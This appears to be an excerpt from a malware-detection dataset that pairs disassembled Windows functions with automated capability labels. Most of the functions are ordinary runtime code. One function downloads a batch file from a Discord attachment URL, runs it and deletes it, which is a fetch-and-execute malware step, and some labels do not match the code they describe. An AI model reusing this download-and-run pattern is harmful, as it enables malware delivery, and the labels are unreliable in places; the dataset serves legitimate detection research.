joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180005d94
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x450
mov rax, qword [0x180015008]
xor rax, rsp
mov qword [rsp + 0x440], rax
and dword [rsp + 0x30], 0
lea rax, [rsp + 0x34]
mov rbp, rdx
mov rdi, rcx
mov rcx, qword [rcx + 0x18]
xor esi, esi
and qword [rsp + 0x28], rsi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x180005ecc
mov rax, qword [0x1817777d0]
cmp dword [rax + 0x10], 0x1c
jle 0x180005e0f
mov rax, qword [rax + 8]
add rax, 0x1c0
je 0x180005e0f
cmp word [rax], 2
jne 0x180005e0f
mov ecx, dword [rax + 8]
jmp 0x180005e11
xor ecx, ecx
neg ecx
mov rcx, rbp
sbb ebx, ebx
and ebx, 0xfff81000
add ebx, 0x80000
mov edx, ebx
call fcn.1800039a0
xor edx, edx
mov dword [rbp + 0x18], 0x1e
mov r8d, 0x400
lea rcx, [rsp + 0x40]
call sub.msvcrt.dll_memset
cmp dword [rsp + 0x34], esi
jbe 0x180005eb1
cmp esi, ebx
jae 0x180005eb1
mov rcx, qword [rdi + 0x18]
lea r9, [rsp + 0x30]
and qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r8d, dword [rsp + 0x30]
lea rdx, [rsp + 0x40]
add esi, dword [rsp + 0x30]
mov rcx, rbp
call fcn.1800039f4
and qword [rsp + 0x28], 0
lea rax, [rsp + 0x34]
mov rcx, qword [rdi + 0x18]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x180005ecc
cmp dword [rsp + 0x34], 0
ja 0x180005e4a
mov rcx, qword [rdi + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x180005ec8
mov byte [rdi + 0xd], 1
mov eax, esi
jmp 0x180005ecf
or eax, 0xffffffff
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.18000e670
mov rbx, qword [rsp + 0x480]
add rsp, 0x450
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000a2e0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov ebx, ecx
xor ecx, ecx
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x68], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18000a33c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18000a33c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18000a33c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18000a33c
cmp dword [rcx + 0x84], 0xe
jbe 0x18000a33c
cmp dword [rcx + 0xf8], 0
je 0x18000a33c
mov ecx, ebx
call fcn.18000a270
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x1800171a0]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.18000a0f0
cmp dword [rsp + 0x60], 0
jne 0x18000a37f
mov ecx, ebx
call fcn.18000a220
int3
add rsp, 0x40
pop rbx
ret

Function at 0x18000a6c0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [0x180015008]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x18000a6fc
mov ecx, 5
int 0x29
mov ecx, 2
call fcn.18000e8fc
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rbp + 0x108]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x18000a7b8
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x4f8]
add rax, 8
mov dword [rsp + 0x70], 0xc0000417
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x74], 1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x18000a81e
test ebx, ebx
jne 0x18000a81e
lea ecx, [rax + 2]
call fcn.18000e8fc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.18000e670
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rbp
ret
Function at 0x18000e500
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
cmp dword [rcx], 0xe06d7363
mov rdi, r9
mov rbp, r8
mov r14, rdx
mov rsi, rcx
jne 0x18000e5bc
mov rax, qword [r9 + 0x38]
mov qword [rsp + 0x48], rbx
mov ebx, dword [rax]
add rbx, qword [r9 + 8]
mov eax, dword [rbx]
and eax, 0x1fffffff
sub eax, 0x19930521
cmp eax, 1
ja 0x18000e5b7
mov eax, 1
xchg dword [0x181777210], eax
cmp eax, 1
jne 0x18000e570
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
xchg dword [0x181777210], eax
cmp eax, 1
je 0x18000e555
mov edx, 4
lea r9, [rsp + 0x40]
mov rcx, rbx
lea r8d, [rdx + 0x3c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18000e5af
and dword [rbx], 0xf9930520
lea r9, [rsp + 0x40]
or dword [rbx], 0x19930520
mov edx, 4
mov r8d, dword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
xchg dword [0x181777210], eax
mov rbx, qword [rsp + 0x48]
mov r9, rdi
mov r8, rbp
mov rdx, r14
mov rcx, rsi
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
jmp qword [sym.imp.msvcrt.dll___CxxFrameHandler]
Function at 0x140001170
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push r14
push r15
sub rsp, 0x30
mov rbx, r9
mov rbp, r8
mov r14, rdx
mov r15, rcx
test rdx, rdx
je 0x14000124a
test r8, r8
je 0x14000124a
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
mov edi, 0x200
lea ecx, [rdi + 1]
call fcn.14000d154
mov rcx, qword [r15 + 8]
test rbx, rbx
mov rsi, rax
mov qword [rsp + 0x28], rcx
lea rax, [0x14001b7b8]
cmove rbx, rax
mov rdx, rbp
mov rcx, r14
mov r9, rsi
mov r8, rbx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
inc eax
cmp eax, edi
jb 0x14000122e
nop dword [rax]
mov rcx, rsi
add edi, 0x200
call fcn.14000d15c
lea ecx, [rdi + 1]
call fcn.14000d154
mov r8, rbx
mov rdx, rbp
mov rsi, rax
mov rax, qword [r15 + 8]
mov rcx, r14
mov qword [rsp + 0x28], rax
mov r9, rsi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
inc eax
cmp eax, edi
jae 0x1400011f0
mov rdi, qword [rsp + 0x58]
mov rax, rsi
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret
test rbx, rbx
jne 0x14000126b
lea ecx, [rbx + 1]
call fcn.14000d154
mov rdx, rax
mov byte [rax], bl
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret
or rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [r9 + rcx], 0
jne 0x140001270
inc rcx
call fcn.14000d154
mov rcx, rax
mov rdx, rax
sub rcx, rbx
nop dword [rax + rax]
movzx eax, byte [rbx]
lea rbx, [rbx + 1]
mov byte [rcx + rbx - 1], al
test al, al
jne 0x140001290
mov rax, rdx
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret

Function at 0x140002270
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x160
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov rax, qword [0x140028ee0]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbx, rdx
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x20], 0
mov byte [rsp + 0x40], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x41]
call fcn.14000ddf0
xor r9d, r9d
lea r8d, [r9 + 0x23]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
or r8d, 0xffffffff
lea rdx, [0x14001b7b8]
mov rcx, rbx
call fcn.140004300
mov dword [rsp + 0x20], 1
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140003f30
lea rdx, str.NETGATEFortKnox_Firewall
mov rcx, rbx
call fcn.140004120
mov rax, rbx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14000d8c0
add rsp, 0x160
pop rbx
ret
Function at 0x140002470
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x138]
sub rsp, 0x220
mov qword [rbp - 0x58], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x140028ee0]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.140003350
nop
lea rcx, [rsp + 0x48]
call fcn.140003350
nop
lea rcx, [rbp - 0x70]
call fcn.140003350
nop
lea rdx, [rsp + 0x78]
mov rcx, rsi
call fcn.140002330
nop
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400037a0
nop
lea rcx, [rsp + 0x78]
call fcn.1400034d0
lea rdx, str.Languages
lea rcx, [rsp + 0x48]
call fcn.140004120
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x50]
call fcn.140003370
lea r8, str..
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.140001c70
nop
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1400037a0
nop
lea rcx, [rsp + 0x78]
call fcn.1400034d0
xor ebx, ebx
lea rcx, [rsi + 0x808]
lea rax, [0x14001c628]
mov qword [rsp + 0x20], rax
lea r9, str.Directory
lea r8, str.Language
lea rdx, [rsp + 0x60]
call fcn.140001070
nop
lea rcx, [rsp + 0x60]
call fcn.140003620
lea rcx, [0x14001b7b8]
mov rax, qword [rbp - 0x68]
test rax, rax
cmovne rcx, rax
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14000265c
nop dword [rax + rax]
cmp byte [rbp - 4], 0x2e
je 0x14000263c
lea rcx, [rsp + 0x30]
call fcn.140003520
lea rdx, [rbp - 4]
lea rcx, [rsp + 0x30]
call fcn.140003f30
test byte [rbp - 0x30], 0x10
je 0x14000263c
lea r9, [0x14001b7b8]
mov rax, qword [rsp + 0x38]
test rax, rax
cmovne r9, rax
movsxd rdi, ebx
mov r8, rdi
mov edx, 0x14a
mov rcx, qword [rsi + 0x3b8]
call qword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x14000260f
mov r9d, ebx
mov r8, rdi
mov edx, 0x151
mov rcx, qword [rsi + 0x3b8]
call qword [sym.imp.USER32.dll_SendMessageA]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.1400033a0
test eax, eax
je 0x14000263a
xor r9d, r9d
mov r8, rdi
mov edx, 0x14e
mov rcx, qword [rsi + 0x3b8]
call qword [sym.imp.USER32.dll_SendMessageA]
inc ebx
lea rdx, [rbp - 0x30]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp eax, 1
je 0x1400025a0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
lea rcx, [rsp + 0x60]
call fcn.1400034d0
nop
lea rcx, [rbp - 0x70]
call fcn.1400034d0
nop
lea rcx, [rsp + 0x48]
call fcn.1400034d0
nop
lea rcx, [rsp + 0x30]
call fcn.1400034d0
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.14000d8c0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140003a10
Capabilities:
Get graphical window text

Disassembly:
sub rsp, 0x28
mov rax, qword [rcx + 8]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbp
test rax, rax
mov qword [rsp + 0x40], rsi
mov rbp, rdx
mov rsi, rcx
je 0x140003aea
cmp dword [rax - 0xc], 1
jle 0x140003aea
mov qword [rsp + 0x48], rdi
movsxd rdi, dword [rax - 4]
cmp edi, 0x40
jge 0x140003a55
mov ebx, 0x40
jmp 0x140003a94
mov ebx, 0x80
cmp edi, ebx
jl 0x140003a94
mov ebx, 0x100
cmp edi, ebx
jl 0x140003a94
mov ebx, 0x140
cmp edi, ebx
jl 0x140003a94
mov ebx, 0x180
cmp edi, ebx
jl 0x140003a94
mov ebx, 0x1c0
cmp edi, ebx
jl 0x140003a94
mov ebx, 0x200
cmp edi, ebx
jl 0x140003a94
lea ebx, [rdi + 7]
and ebx, 0xfffffff8
add ebx, 8
lea eax, [rbx + 1]
movsxd rcx, eax
add rcx, 0xc
call fcn.14000cda8
mov dword [rax + 4], edi
mov dword [rax + 8], ebx
mov dword [rax], 1
mov byte [rdi + rax + 0xc], 0
mov rcx, qword [rsi + 8]
lea rbx, [rax + 0xc]
movsxd rdx, dword [rcx - 8]
mov rcx, rbx
mov dword [rax + 4], edx
mov byte [rdx + rax + 0xc], 0
mov rdx, qword [rsi + 8]
movsxd r8, dword [rdx - 8]
call fcn.14000d8f0
mov r11, qword [rsi + 8]
mov rdi, qword [rsp + 0x48]
lock dec dword [r11 - 0xc]
mov qword [rsi + 8], rbx
mov rcx, rbp
call qword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
mov ebx, eax
jne 0x140003b01
mov rcx, rsi
call fcn.140003520
xor r8d, r8d
mov edx, ebx
mov rcx, rsi
call fcn.140003800
mov rdx, qword [rsi + 8]
lea r8d, [rbx + 1]
mov rcx, rbp
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x28
jmp qword [sym.imp.USER32.dll_GetWindowTextA]
Function at 0x140008f20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
mov rax, rsp
sub rsp, 0x68
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rbx, rcx
lea rax, [0x14001cc58]
mov qword [rcx], rax
add rcx, 0x68
call fcn.14000b710
test eax, eax
je 0x140008ff2
mov eax, dword [rbx + 0x24]
xor edi, edi
test eax, eax
je 0x140008f6e
mov r8d, dword [rbx + 0x34]
jmp 0x140008f71
mov r8d, edi
test eax, eax
je 0x140008f7a
mov edx, dword [rbx + 0x30]
jmp 0x140008f7c
mov edx, edi
mov rcx, qword [rbx + 0x40]
mov r9d, dword [rbx + 0x38]
sub r9d, dword [rbx + 0x30]
mov r10d, dword [rbx + 0x3c]
sub r10d, dword [rbx + 0x34]
mov rax, qword [rbx + 0x60]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], r8d
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r10d
mov r8d, dword [rbx + 0x34]
mov edx, dword [rbx + 0x30]
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.GDI32.dll_BitBlt]
mov rcx, qword [rbx + 0x90]
test rcx, rcx
je 0x140008fd4
call fcn.140006b00
mov rdi, rax
mov rdx, rdi
mov rcx, qword [rbx + 0x60]
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rax
call fcn.14000b9a0
lea rcx, [rbx + 0x48]
call fcn.140008240
mov rcx, rbx
call fcn.1400081c0
nop
lea rcx, [rbx + 0x68]
call fcn.14000be50
nop
lea rcx, [rbx + 0x48]
call fcn.140008460
nop
lea rax, vtable.CRect.0
mov qword [rbx + 0x28], rax
mov rcx, rbx
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x88]
add rsp, 0x68
jmp fcn.140008460

Function at 0x140013294
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400130fc
Function at 0x140002594
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400025de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400025de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400025de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400025de
cmp dword [rcx + 0x84], 0xe
jbe 0x1400025de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400025e0
xor al, al
add rsp, 0x28
ret
Function at 0x1400047e4
Capabilities:
Identify system language via api

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x1400128b8]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea r14, str.en_US
mov rsi, rcx
mov qword [rcx], r14
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov word [rsp + 0x30], ax
mov ebx, 0x10
mov r9d, ebx
lea rdx, [0x140008110]
lea rax, [0x140004df0]
mov r8d, 0x1b3
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call sub.api_ms_win_crt_private_l1_1_0.dll__o_bsearch
xor ebp, ebp
test rax, rax
jne 0x14000485f
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1400048e5
cmp dword [rax + 0xc], 0x7c
jne 0x14000486c
cmp word [rax + 8], 0x7f
jne 0x14000484f
mov r8, qword [rax]
or rcx, 0xffffffffffffffff
inc rcx
cmp word [r8 + rcx*2], bp
jne 0x140004873
inc rcx
cmp rcx, 0x7ffffffe
jbe 0x140004890
mov word [rsp + 0x38], bp
jmp 0x1400048d7
lea rax, [rsp + 0x38]
mov r9d, ebp
sub r8, rax
lea rdx, [rsp + 0x38]
lea rax, [rbx - 0x10]
add rax, rcx
je 0x1400048c0
movzx eax, word [r8 + rdx]
test ax, ax
je 0x1400048c0
mov word [rdx], ax
add rdx, 2
sub rbx, 1
jne 0x1400048a0
test rbx, rbx
jne 0x1400048cf
sub rdx, 2
mov r9d, 0x8007007a
mov word [rdx], bp
test r9d, r9d
jns 0x1400048e1
mov ecx, 0x7a
jmp 0x140004854
test ecx, ecx
jne 0x1400048f1
mov rcx, qword [rsp + 0x78]
call fcn.14000494c
jmp 0x14000492a
mov rbx, rbp
mov rdi, rbp
mov rdx, qword [rdi + r14]
lea rcx, [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__wcsicmp]
test eax, eax
je 0x14000491c
inc rbx
add rdi, 0x30
cmp rdi, 0x750
jb 0x1400048f7
jmp 0x14000492a
lea rax, [rbx + rbx*2]
shl rax, 4
add rax, r14
mov qword [rsi], rax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400050e0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x140005104
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140012e60], eax
call fcn.1400056f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140012e60], 0
jne case.default.0x14000515a
mov ecx, 1
call fcn.1400056f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
xlatb
xor eax, 0xaee13b32
sub dword [rsi + 0x2a], 0x65
mov al, 0x34
xor al, 0x83
invalid
Function at 0x140001070
Capabilities:
Download url
Execute command
Receive data
Self delete
Set console window title

Disassembly:
sub rsp, 0x38
lea rcx, str.Sex_With_dad.
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Program_Starting_soon_
call fcn.140001250
mov rcx, rax
mov edx, 1
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003520]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._n_n___loading.
call fcn.140001010
mov ecx, 0x2ee
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003520]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._n_n___loading..
call fcn.140001010
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003520]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._n_n___loading...
call fcn.140001010
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003520]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.color_0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_nInjecting_Kids_into_your_pc
call fcn.140001250
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.apple.bat
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1173394833784700938_1173785524260061224_start.bat_ex656537f4is6552c2f4hm77690b6b79b03bfe48b51cb98448a3804c93af4a3514d429ef1cf72e1fb21d35
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x14000119c
lea rcx, str.start_apple.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.del_apple.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ping_1.1.1.1__t__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ping_fbi.gov__t__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ping_nsa.gov__t__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ping_virustotal.com__t__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x38
ret

Function at 0x140001d04
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d4e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d4e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.KERNEL32.dll_UnhandledExceptionFilter
jne 0x140001d4e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d4e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d4e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d50
xor al, al
add rsp, 0x28
ret
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140014fc0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001126c
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012cd0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012cf0
xor al, al
jmp 0x140012d71
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012d03
xor al, al
jmp 0x140012d71
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012d2d
xor al, al
jmp 0x140012d71
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012d41
xor al, al
jmp 0x140012d71
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012d53
xor al, al
jmp 0x140012d71
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012d6f
xor al, al
jmp 0x140012d71
mov al, 1
add rsp, 0x38
ret